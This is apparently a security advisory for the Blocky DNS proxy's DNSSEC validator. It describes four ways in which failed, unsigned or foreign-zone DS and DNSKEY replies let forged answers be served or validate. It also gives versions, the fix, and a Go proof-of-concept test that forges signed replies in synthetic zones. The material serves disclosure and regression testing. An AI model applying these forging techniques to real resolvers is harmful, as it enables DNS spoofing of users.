DNSSEC: DS and DNSKEY lookups that fail, are unsigned or are for another zone are trusted
Description
Blocky did not consistently bind DS and DNSKEY records to the zone being validated or require a signature over a fetched trust-anchor key set. In some cases it served data when it could not establish the chain of trust. A forged answer was passed on without the AD flag when the lookup of its signer’s keys was made to fail, a DS record published at another delegation could make forged data validate with the AD flag, the DS and DNSKEY records of a sibling zone could make a signed zone pass as unsigned, and an unsigned DNSKEY reply could make the signed names under a trust anchor fail. Blocky v0.37.0 refuses the answers in the first three and the unsigned DNSKEY reply in the fourth.
Impact
Exploiting this needs someone who can change the responses between Blocky and its upstream resolver, or a malicious upstream resolver. For each case of the Details:
| Case | Also needed | Reach |
|---|---|---|
| 1 | nothing: a response names its own signer, and the same position makes the lookups for that signer fail | names in any signed zone: v0.33.0 to v0.35.0 looked up the signer’s keys anew for every signature, and in v0.36.0, which caches them, any signer name will do |
| 2 | nothing: the key of a trust anchor is public | every signed name under that anchor, for up to an hour per altered reply; with the default root anchor that is every signed name |
| 3 | a signed delegation under the same parent as the target zone, with a DS record whose digest is computed over the target zone’s name and a key of theirs | the target zone. Since v0.36.0 Blocky caches the keys of a zone: genuine keys in the cache prevent this until they expire, and while the false ones are cached, for up to an hour, the zone’s genuine answers fail with SERVFAIL |
| 4 | a signed delegation under that parent with an RSA key whose exponent is above 2^31-1 | every signed zone under that parent, each taken for unsigned for up to an hour |
For case 3 the parent need not be shown the key: a registry that publishes DS records as submitted (the DS Data Interface of RFC 5910 §4.1) is not obliged to check what a digest was computed over.
Affected deployments
This issue concerns deployments using Blocky’s built-in DNSSEC validator (dnssec.validate: true). Affected releases: v0.28.0 through v0.36.0. For each case of the Details:
| Case | Affected |
|---|---|
| 1 | v0.33.0 through v0.36.0 (#2139); a DNSKEY reply that is SERVFAIL or truncated counts as a failed lookup in v0.36.0 only. Before v0.33.0, v0.28.0 and v0.28.1 served an answer with a valid signature after a failed DS lookup, and v0.28.2 through v0.32.1 rejected all of these |
| 2 | v0.36.0 (#2323) |
| 3 | v0.28.0 through v0.36.0 |
| 4 | v0.36.0 (#2323). An answer signed with the sibling’s key was served without the AD flag from v0.28.2 on, where it also rests on GHSA-g35c; with the AD flag only in development builds since #2386, in no release |
Development builds since #2386 are those from commit 5e98c7a of 16 November 2026 to commit 8088f1a, the last one before the fix.
Remediation
Upgrade to Blocky v0.37.0 or later. The fix verifies key ownership and the complete key set, and returns SERVFAIL when required validation under a trust anchor cannot be completed. It is commit 1c4c01b.
Details
Blocky’s validator rates a response Secure (served with the AD flag), Insecure (served without it, like data of an unsigned zone) or Bogus (refused with SERVFAIL). A fourth result, Indeterminate, was served like Insecure.
Case 1, validation that cannot be completed. When none of the signatures can be validated, for whatever reason, the response should be considered bad and the client gets SERVFAIL (RFC 4035 §5.5). RFC 4033 §5 keeps "indeterminate" for names with no trust anchor above them; RFC 4035 §4.3 describes it as not being able to obtain the necessary DNSSEC records, the reading that #2139 followed to fix #2120, where lookup timeouts had given SERVFAIL. In v0.36.0 a failed lookup of the signer’s DS or DNSKEY records (an error, a timeout, SERVFAIL, a truncated reply, or a DS reply with neither a DS record nor a denial) made tryVerifyWithRRSIG skip the signature, the answer became Indeterminate, and DNSSECResolver.Resolve served it:
case dnssec.ValidationResultInsecure, dnssec.ValidationResultIndeterminate:
// No DNSSEC or cannot validate - clear AD flag
response.Res.AuthenticatedData = falseThe forged answer needs some RRSIG attached; an answer with no RRSIG at all was still rejected. Unbound 1.26.2 treats a failed DS or DNSKEY fetch under a trust anchor as a bad key for 60 seconds and answers SERVFAIL (ds_response_to_ke(), process_dnskey_response() in validator/validator.c).
Case 2, an unsigned DNSKEY reply with only the trust-anchor key. The DNSKEY record set of a trust-anchor zone must be signed by a key that matches the anchor (RFC 4035 §5). verifyDomainAgainstTrustAnchor made an exception when the signature check failed and the reply held anchored keys only:
v.logger.Debugf("DNSKEY RRset for %s holds only anchored keys and no anchor signature", domain)
return ValidationResultSecure, keysThe zone was then cached as Secure without its other keys for dnssec.cacheExpirationHours (1 by default) or the TTL of the DNSKEY records, whichever is shorter, and everything signed with those other keys failed with SERVFAIL. A reply that fails outright is held for 60 seconds only.
Cases 3 and 4, DS and DNSKEY replies not tied to the zone. A DS record and the DNSKEY that it refers to carry the name of the delegated zone (RFC 4034 §5). extractAndValidateDSRecords took every DS record in the reply, whatever its owner, and checked the parent’s signature only, which is as valid for the records of another delegation. queryDNSKEY likewise took every DNSKEY in the answer. Two things follow:
- Case 3, a digest over the target zone’s name. The digest of a DS record covers the owner name of the key (RFC 4034 §5.1.4), but not the owner name of the DS record itself, which Blocky did not compare with the zone. A DS record at any delegation of the parent whose digest is computed over the target zone’s name and some key therefore matched that key when it was presented under the target’s name. Blocky took it for a key of the target zone, and data signed with it was Secure.
- Case 4, the records of a sibling zone. A sibling’s DS record matches the sibling’s own key, so Blocky accepted both in place of the target’s. With ordinary keys the signature of the DNSKEY records then fails and the zone is Bogus. With an RSA key whose exponent is above 2^31-1, which Blocky could not verify with,
onlyUnsupportedKSKs(#2323) made the target zone Insecure. Since #2386,verifyRSAWithBigExponentverifies with such a key but does not check, asRRSIG.Verifyof miekg/dns does, that the signer of a signature is the owner of the key, so the sibling’s key verified the target zone’s records: Secure.
Unbound looks the records up by the queried name (reply_find_answer_rrset()), and val_verify_DNSKEY_with_DS() fails when the owner names differ.
Proof of concept
The test shows cases 1, 2 and 4 in synthetic zones below the trust anchor example.; for case 1 it also sends the query through DNSSECResolver, to show what the client gets. Case 3 is not part of it: a separate test of the validator gave Secure for it on every release from v0.28.0 to v0.36.0, with ECDSA P-256, Ed25519 and RSA keys.
To reproduce, save the test file below as resolver/dnssec/untrusted_lookups_poc_test.go in a checkout of the version to test and run:
go test -run TestUnverifiedKeyLookups -v ./resolver/dnssec/On v0.36.0 it exits with status 1. Its output follows, condensed to one line per test case; the number in brackets is the case in the Details, and a line without one is a control:
validation that cannot be completed:
PASS control: valid RRSIG, DS and DNSKEY queries answered
[1] FAIL valid RRSIG, signed.example. DNSKEY query fails with an error
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
[1] FAIL RRSIG of random bytes, signed.example. DNSKEY query fails with an error
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
PASS control: no RRSIG, signed.example. DNSKEY query fails with an error
[1] FAIL valid RRSIG, signed.example. DNSKEY reply is SERVFAIL
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
[1] FAIL RRSIG of random bytes, signed.example. DNSKEY reply is SERVFAIL
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
PASS control: no RRSIG, signed.example. DNSKEY reply is SERVFAIL
[1] FAIL valid RRSIG, signed.example. DS reply is NOERROR without DS, NSEC or NSEC3
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
[1] FAIL RRSIG of random bytes, signed.example. DS reply is NOERROR without DS, NSEC or NSEC3
ValidateResponse: got Indeterminate, want Bogus
DNSSECResolver: got NOERROR, AD=false, 2 answer RRs, want SERVFAIL, AD=false, 0 answer RRs
PASS control: no RRSIG, signed.example. DS reply is NOERROR without DS, NSEC or NSEC3
DNSKEY reply with only the anchored key:
PASS control: signed DNSKEY reply with the KSK and the ZSK
[2] FAIL first DNSKEY reply with the KSK only and no RRSIG, signed DNSKEY replies after it
61 s after the DNSKEY reply without RRSIG: got Bogus, want Secure
DS and DNSKEY replies for another zone:
PASS control: valid RRSIG, DS and DNSKEY replies of victim.example.
PASS control: no RRSIG, DS and DNSKEY replies of victim.example.
[4] FAIL no RRSIG, DS and DNSKEY replies of other.example., RSA/SHA-1 key, no DNSKEY RRSIG
got Insecure, want Bogus
[4] FAIL RRSIG of random bytes, DS and DNSKEY replies of other.example., RSA/SHA-1 key, no DNSKEY RRSIG
got Insecure, want Bogus
[4] FAIL RRSIG by the key of other.example., DS and DNSKEY replies of other.example., RSA/SHA-256 key
got Insecure, want BogusOn commit 8088f1a, the last one before the fix, the last line prints got Secure, want Bogus: case 4 as the development builds have it.
On v0.37.0 it exits with status 0: all 17 test cases pass.
<details> <summary><code>untrusted_lookups_poc_test.go</code></summary>
package dnssec_test
// DS and DNSKEY lookups that fail, a DNSKEY reply that no signature authenticates, and DS and
// DNSKEY replies that hold the records of another zone.
//
// RFC 4033 §5: data is Indeterminate when no trust anchor covers it. RFC 4035 §5.5: when, for
// whatever reason, none of the RRSIGs can be validated, the response SHOULD be considered bad and
// the client gets SERVFAIL; Unbound does so. example. is a trust anchor and signed.example. a
// secure delegation that signs host.signed.example. A. When the DNSKEY or DS query for
// signed.example. fails (the upstream returns an error, SERVFAIL, or a NOERROR reply with no DS
// RRset and no NSEC or NSEC3 RRs), the validator has no keys of the signer. The answer is then
// Bogus whether its RRSIG is valid, is random bytes or is missing, and DNSSECResolver answers
// SERVFAIL without the answer.
//
// RFC 4035 §5: the apex DNSKEY RRset of a trust-anchor zone is authenticated by an RRSIG made with
// a key that matches the anchor. example. signs its DNSKEY RRset with its KSK, the trust anchor,
// and www.example. A with its ZSK. A DNSKEY reply with the KSK alone and no RRSIG is not
// authenticated, so it is not the zone's key set: once the signed DNSKEY RRset is fetched, the
// answer validates Secure. RFC 4035 §4.7 lets a validator remember a failed validation for a short
// time, one minute in blocky, so the answer is validated again 61 seconds later.
//
// RFC 4034 §5: a DS RR and the DNSKEY RR it refers to have the owner name of the delegated zone.
// RFC 4035 §5.2: the DS RRset of a delegation authenticates the apex DNSKEY RRset of that child
// zone. victim.example. and other.example. are secure delegations of example.; the key of
// other.example. is an RSA key with exponent 2^32+1. Its DS RRset, with the RRSIG of example., and
// its DNSKEY RRset are not records of victim.example.: as the replies to victim.example. DS and
// victim.example. DNSKEY they authenticate no key of that zone. An answer for www.victim.example. A
// is then Bogus when it has no RRSIG, an RRSIG of random bytes, or an RRSIG made by the key of
// other.example. that names the signer victim.example.
//
// The file is in package dnssec_test because package resolver, which holds DNSSECResolver, imports
// package dnssec.
//
// go test -run TestUnverifiedKeyLookups -v ./resolver/dnssec/
import (
"bytes"
"context"
"crypto"
"crypto/rand"
"encoding/base64"
"errors"
"fmt"
"io"
"maps"
"math/big"
"net"
"testing"
"testing/synctest"
"time"
"github.com/0xERR0R/blocky/config"
"github.com/0xERR0R/blocky/log"
"github.com/0xERR0R/blocky/model"
"github.com/0xERR0R/blocky/resolver"
"github.com/0xERR0R/blocky/resolver/dnssec"
"github.com/miekg/dns"
"github.com/sirupsen/logrus"
)
func TestUnverifiedKeyLookups(t *testing.T) {
ksk := newPocLookupKey(t, "example.", 257)
secure, bogus := dnssec.ValidationResultSecure, dnssec.ValidationResultBogus
anchors, err := dnssec.NewTrustAnchorStore([]string{ksk.key.String()})
if err != nil {
t.Fatal(err)
}
newValidator := func(t *testing.T, upstream pocLookupUpstream) *dnssec.Validator {
logger, _ := log.NewMockEntry()
return dnssec.NewValidator(t.Context(), anchors, logger, upstream, 1, 10, 150, 30, 3600)
}
t.Run("validation that cannot be completed", func(t *testing.T) {
signed := newPocLookupKey(t, "signed.example.", 257)
subQueries := pocLookupUpstream{
"example. DNSKEY": {Answer: ksk.sign(t, ksk.key)},
"signed.example. DS": {Answer: ksk.sign(t, signed.key.ToDS(dns.SHA256))},
"signed.example. DNSKEY": {Answer: signed.sign(t, signed.key)},
}
// The answer for host.signed.example. A with its RRSIG, with an RRSIG of random bytes and
// with none.
const qname = "host.signed.example."
valid := signed.sign(t, pocLookupA(qname))
random, unsigned := pocLookupRandomSig(t, valid), valid[:1]
// served is how DNSSECResolver answers the client for each validation result.
served := map[dnssec.ValidationResult]string{
secure: "NOERROR, AD=true, 2 answer RRs", bogus: "SERVFAIL, AD=false, 0 answer RRs",
}
// check validates answer as the reply to host.signed.example. A, then sends that query
// through a DNSSECResolver whose next resolver replies with answer. failed replaces replies
// to the DS and DNSKEY queries.
check := func(t *testing.T, answer []dns.RR, failed pocLookupUpstream, want dnssec.ValidationResult) {
upstream := maps.Clone(subQueries)
maps.Copy(upstream, failed)
upstream[qname+" A"] = &dns.Msg{Answer: answer}
query := new(dns.Msg).SetQuestion(qname, dns.TypeA)
v := newValidator(t, upstream)
if got := v.ValidateResponse(t.Context(), &dns.Msg{Answer: answer}, query.Question[0]); got != want {
t.Errorf("ValidateResponse: got %s, want %s", got, want)
}
sut, err := resolver.NewDNSSECResolver(t.Context(), config.DNSSEC{
Validate: true, TrustAnchors: []string{ksk.key.String()}, CacheExpirationHours: 1,
MaxChainDepth: 10, MaxNSEC3Iterations: 150, MaxUpstreamQueries: 30, ClockSkewToleranceSec: 3600,
}, upstream)
if err != nil {
t.Fatal(err)
}
sut.Next(upstream)
response, err := sut.Resolve(t.Context(), &model.Request{Req: query})
if err != nil {
t.Fatal(err)
}
m := response.Res
got := fmt.Sprintf("%s, AD=%t, %d answer RRs", dns.RcodeToString[m.Rcode], m.AuthenticatedData, len(m.Answer))
if got != served[want] {
t.Errorf("DNSSECResolver: got %s, want %s", got, served[want])
}
}
t.Run("control: valid RRSIG, DS and DNSKEY queries answered", func(t *testing.T) { check(t, valid, nil, secure) })
for _, failed := range []struct {
name string
replies pocLookupUpstream
}{
{"signed.example. DNSKEY query fails with an error", pocLookupUpstream{"signed.example. DNSKEY": nil}},
{"signed.example. DNSKEY reply is SERVFAIL", pocLookupUpstream{
"signed.example. DNSKEY": {MsgHdr: dns.MsgHdr{Rcode: dns.RcodeServerFailure}},
}},
{"signed.example. DS reply is NOERROR without DS, NSEC or NSEC3", pocLookupUpstream{"signed.example. DS": {}}},
} {
t.Run("valid RRSIG, "+failed.name, func(t *testing.T) { check(t, valid, failed.replies, bogus) })
t.Run("RRSIG of random bytes, "+failed.name, func(t *testing.T) { check(t, random, failed.replies, bogus) })
t.Run("control: no RRSIG, "+failed.name, func(t *testing.T) { check(t, unsigned, failed.replies, bogus) })
}
})
t.Run("DNSKEY reply with only the anchored key", func(t *testing.T) {
zsk := newPocLookupKey(t, "example.", 256)
question := dns.Question{Name: "www.example.", Qtype: dns.TypeA, Qclass: dns.ClassINET}
// signedZone returns the DNSKEY RRset of the KSK and the ZSK with its RRSIG by the KSK, and
// www.example. A with its RRSIG by the ZSK.
signedZone := func(t *testing.T) (dnskey, answer *dns.Msg) {
return &dns.Msg{Answer: ksk.sign(t, ksk.key, zsk.key)}, &dns.Msg{Answer: zsk.sign(t, pocLookupA(question.Name))}
}
t.Run("control: signed DNSKEY reply with the KSK and the ZSK", func(t *testing.T) {
dnskey, answer := signedZone(t)
v := newValidator(t, pocLookupUpstream{"example. DNSKEY": dnskey})
if got := v.ValidateResponse(t.Context(), answer, question); got != secure {
t.Errorf("got %s, want Secure", got)
}
})
t.Run("first DNSKEY reply with the KSK only and no RRSIG, signed DNSKEY replies after it", func(t *testing.T) {
// testing/synctest runs the function with a fake clock: the 61 seconds pass at once.
synctest.Test(t, func(t *testing.T) {
dnskey, answer := signedZone(t)
upstream := pocLookupUpstream{"example. DNSKEY": {Answer: []dns.RR{ksk.key}}}
v := newValidator(t, upstream)
// The first validation cannot succeed: the DNSKEY reply holds no ZSK.
v.ValidateResponse(t.Context(), answer, question)
upstream["example. DNSKEY"] = dnskey
time.Sleep(61 * time.Second)
if got := v.ValidateResponse(t.Context(), answer, question); got != secure {
t.Errorf("61 s after the DNSKEY reply without RRSIG: got %s, want Secure", got)
}
})
})
})
t.Run("DS and DNSKEY replies for another zone", func(t *testing.T) {
victim := newPocLookupKey(t, "victim.example.", 257)
// other.example. signs with an RSA key of exponent 2^32+1: an RSA/SHA-256 DNSKEY or, with
// the same public key, an RSA/SHA-1 DNSKEY.
other := newPocLookupRSAKey(t, "other.example.")
otherSHA1 := dns.Copy(other.key).(*dns.DNSKEY)
otherSHA1.Algorithm = dns.RSASHA1
// published holds the replies as the zones publish them. The reply to www.victim.example.
// DS is the NSEC of that name in victim.example.: no DS RRset and no delegation.
const qname = "www.victim.example."
published := pocLookupUpstream{
"example. DNSKEY": {Answer: ksk.sign(t, ksk.key)},
"victim.example. DS": {Answer: ksk.sign(t, victim.key.ToDS(dns.SHA256))},
"victim.example. DNSKEY": {Answer: victim.sign(t, victim.key)},
qname + " DS": {Ns: victim.sign(t, &dns.NSEC{
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNSEC, Class: dns.ClassINET, Ttl: 300},
NextDomain: "victim.example.", TypeBitMap: []uint16{dns.TypeA, dns.TypeRRSIG, dns.TypeNSEC},
})},
}
// withOther returns published with the replies to victim.example. DS and victim.example.
// DNSKEY replaced by the DS RRset of key, signed by example., and by dnskey.
withOther := func(key *dns.DNSKEY, dnskey ...dns.RR) pocLookupUpstream {
upstream := maps.Clone(published)
upstream["victim.example. DS"] = &dns.Msg{Answer: ksk.sign(t, key.ToDS(dns.SHA256))}
upstream["victim.example. DNSKEY"] = &dns.Msg{Answer: dnskey}
return upstream
}
sha1Replies := withOther(otherSHA1, otherSHA1)
sha256Replies := withOther(other.key, other.signAs(t, "victim.example.", other.key)...)
// The answer for www.victim.example. A with the RRSIG of victim.example., with an RRSIG of
// random bytes, with none, and with an RRSIG by the key of other.example.
question := dns.Question{Name: qname, Qtype: dns.TypeA, Qclass: dns.ClassINET}
valid := victim.sign(t, pocLookupA(qname))
random, unsigned := pocLookupRandomSig(t, valid), valid[:1]
byOther := other.signAs(t, "victim.example.", valid[0])
for _, c := range []struct {
name string
upstream pocLookupUpstream
answer []dns.RR
want dnssec.ValidationResult
}{
{"control: valid RRSIG, DS and DNSKEY replies of victim.example.", published, valid, secure},
{"control: no RRSIG, DS and DNSKEY replies of victim.example.", published, unsigned, bogus},
{
"no RRSIG, DS and DNSKEY replies of other.example., RSA/SHA-1 key, no DNSKEY RRSIG",
sha1Replies, unsigned, bogus,
},
{
"RRSIG of random bytes, DS and DNSKEY replies of other.example., RSA/SHA-1 key, no DNSKEY RRSIG",
sha1Replies, random, bogus,
},
{
"RRSIG by the key of other.example., DS and DNSKEY replies of other.example., RSA/SHA-256 key",
sha256Replies, byOther, bogus,
},
} {
t.Run(c.name, func(t *testing.T) {
v := newValidator(t, c.upstream)
if got := v.ValidateResponse(t.Context(), &dns.Msg{Answer: c.answer}, question); got != c.want {
t.Errorf("got %s, want %s", got, c.want)
}
})
}
})
}
// pocLookupUpstream is the upstream of the validator and the resolver below DNSSECResolver. It
// holds the replies by "name TYPE": a nil reply makes the query fail with an error, and a query
// for any other name or type gets an empty NOERROR reply.
type pocLookupUpstream map[string]*dns.Msg
func (u pocLookupUpstream) Resolve(_ context.Context, req *model.Request) (*model.Response, error) {
q := req.Req.Question[0]
reply, found := u[q.Name+" "+dns.TypeToString[q.Qtype]]
if !found {
reply = new(dns.Msg)
} else if reply == nil {
return nil, errors.New("upstream unreachable")
}
return &model.Response{Res: reply.Copy(), RType: model.ResponseTypeRESOLVED}, nil
}
// The rest of resolver.Resolver, which DNSSECResolver needs of its upstream.
func (pocLookupUpstream) Type() string { return "poc" }
func (pocLookupUpstream) String() string { return "poc" }
func (pocLookupUpstream) IsEnabled() bool { return true }
func (pocLookupUpstream) LogConfig(*logrus.Entry) {}
// pocLookupKey is a DNSKEY with its private key.
type pocLookupKey struct {
key *dns.DNSKEY
priv crypto.Signer
}
// newPocLookupKey returns an ECDSA P-256 key of zone with the DNSKEY flags 257 (KSK) or 256 (ZSK).
func newPocLookupKey(t *testing.T, zone string, flags uint16) pocLookupKey {
t.Helper()
key := &dns.DNSKEY{
Hdr: dns.RR_Header{Name: zone, Rrtype: dns.TypeDNSKEY, Class: dns.ClassINET, Ttl: 3600},
Flags: flags, Protocol: 3, Algorithm: dns.ECDSAP256SHA256,
}
priv, err := key.Generate(256)
for err == nil && key.KeyTag() == 0 { // RRSIG.Sign refuses key tag 0
priv, err = key.Generate(256)
}
if err != nil {
t.Fatal(err)
}
return pocLookupKey{key, priv.(crypto.Signer)}
}
// sign returns rrset followed by its RRSIG, made by k with RRSIG.Sign.
func (k pocLookupKey) sign(t *testing.T, rrset ...dns.RR) []dns.RR {
t.Helper()
return k.signAs(t, k.key.Hdr.Name, rrset...)
}
// signAs is sign with signer, not the owner name of k, as the Signer's Name of the RRSIG.
func (k pocLookupKey) signAs(t *testing.T, signer string, rrset ...dns.RR) []dns.RR {
t.Helper()
sig := &dns.RRSIG{
Algorithm: k.key.Algorithm, KeyTag: k.key.KeyTag(), SignerName: signer,
Inception: uint32(time.Now().Add(-time.Hour).Unix()), Expiration: uint32(time.Now().Add(time.Hour).Unix()),
}
if err := sig.Sign(k.priv, rrset); err != nil {
t.Fatal(err)
}
return append(rrset, sig)
}
// newPocLookupRSAKey returns an RSA/SHA-256 KSK of zone (RFC 5702) with a 2048-bit modulus and the
// exponent 2^32+1. crypto/rsa refuses exponents above 2^31-1, so the key is made, and signs, with
// math/big.
func newPocLookupRSAKey(t *testing.T, zone string) pocLookupKey {
t.Helper()
e, one := new(big.Int).SetUint64(1<<32+1), big.NewInt(1)
for {
p, err := rand.Prime(rand.Reader, 1024)
if err != nil {
t.Fatal(err)
}
q, err := rand.Prime(rand.Reader, 1024)
if err != nil {
t.Fatal(err)
}
n := new(big.Int).Mul(p, q)
d := new(big.Int).ModInverse(e, new(big.Int).Mul(new(big.Int).Sub(p, one), new(big.Int).Sub(q, one)))
pub := append(append([]byte{byte(len(e.Bytes()))}, e.Bytes()...), n.Bytes()...)
key := &dns.DNSKEY{
Hdr: dns.RR_Header{Name: zone, Rrtype: dns.TypeDNSKEY, Class: dns.ClassINET, Ttl: 3600},
Flags: 257, Protocol: 3, Algorithm: dns.RSASHA256, PublicKey: base64.StdEncoding.EncodeToString(pub),
}
if d != nil && key.KeyTag() != 0 { // e must be invertible; RRSIG.Sign refuses key tag 0
return pocLookupKey{key, pocLookupRSASigner{n, d}}
}
}
}
// pocLookupRSASigner makes RSASSA-PKCS1-v1_5 signatures with SHA-256 (RFC 8017 §8.2.1) with math/big.
type pocLookupRSASigner struct{ n, d *big.Int }
func (s pocLookupRSASigner) Public() crypto.PublicKey { return nil } // RRSIG.Sign does not use it
func (s pocLookupRSASigner) Sign(_ io.Reader, digest []byte, _ crypto.SignerOpts) ([]byte, error) {
// EM = 0x00 || 0x01 || PS (0xff octets) || 0x00 || DigestInfo, the SHA-256 one of RFC 8017 §9.2
digestInfo := "\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20" + string(digest)
k := (s.n.BitLen() + 7) / 8
em := bytes.Repeat([]byte{0xff}, k)
em[0], em[1], em[k-len(digestInfo)-1] = 0, 1, 0
copy(em[k-len(digestInfo):], digestInfo)
return new(big.Int).Exp(new(big.Int).SetBytes(em), s.d, s.n).FillBytes(make([]byte, k)), nil
}
// pocLookupRandomSig returns signed, an RR followed by its RRSIG, with the signature replaced by 64
// random bytes.
func pocLookupRandomSig(t *testing.T, signed []dns.RR) []dns.RR {
t.Helper()
random := make([]byte, 64)
if _, err := rand.Read(random); err != nil {
t.Fatal(err)
}
sig := dns.Copy(signed[1]).(*dns.RRSIG)
sig.Signature = base64.StdEncoding.EncodeToString(random)
return []dns.RR{signed[0], sig}
}
func pocLookupA(name string) *dns.A {
hdr := dns.RR_Header{Name: name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300}
return &dns.A{Hdr: hdr, A: net.IPv4(192, 0, 2, 1)}
}</details>
References
- RFC 4033 §5; RFC 4034 §5 and §5.1.4; RFC 4035 §4.3, §5 and §5.5; RFC 5910 §4.1
- Fix: Blocky v0.37.0, commit
1c4c01b - Related advisories from the same review:
- GHSA-8mfq-h5hh-mqf2: DNSSEC: a response's status doesn't account for all of its parts, its question or its rcode
- GHSA-mv8x-2h8p-g3wh: DNSSEC: incomplete denial-of-existence proofs (wildcards, NSEC NXDOMAIN, CNAME bit, name order)
- GHSA-6fgw-qmpq-vwxp: DNSSEC: NSEC and NSEC3 denials are accepted from zones not authoritative for the queried name
- GHSA-g35c-mff8-4w2w: DNSSEC: a failed signature by a large-exponent RSA key gives Insecure instead of Bogus
- GHSA-583r-m4vv-q43p: DNSSEC: NSEC3 Opt-Out proof can downgrade a signed zone to Insecure
- GHSA-vgm3-vqcv-4hv6: DNSSEC: RSA keys with very large exponents make validation expensive
Credits
Reported by @kevinpark1217.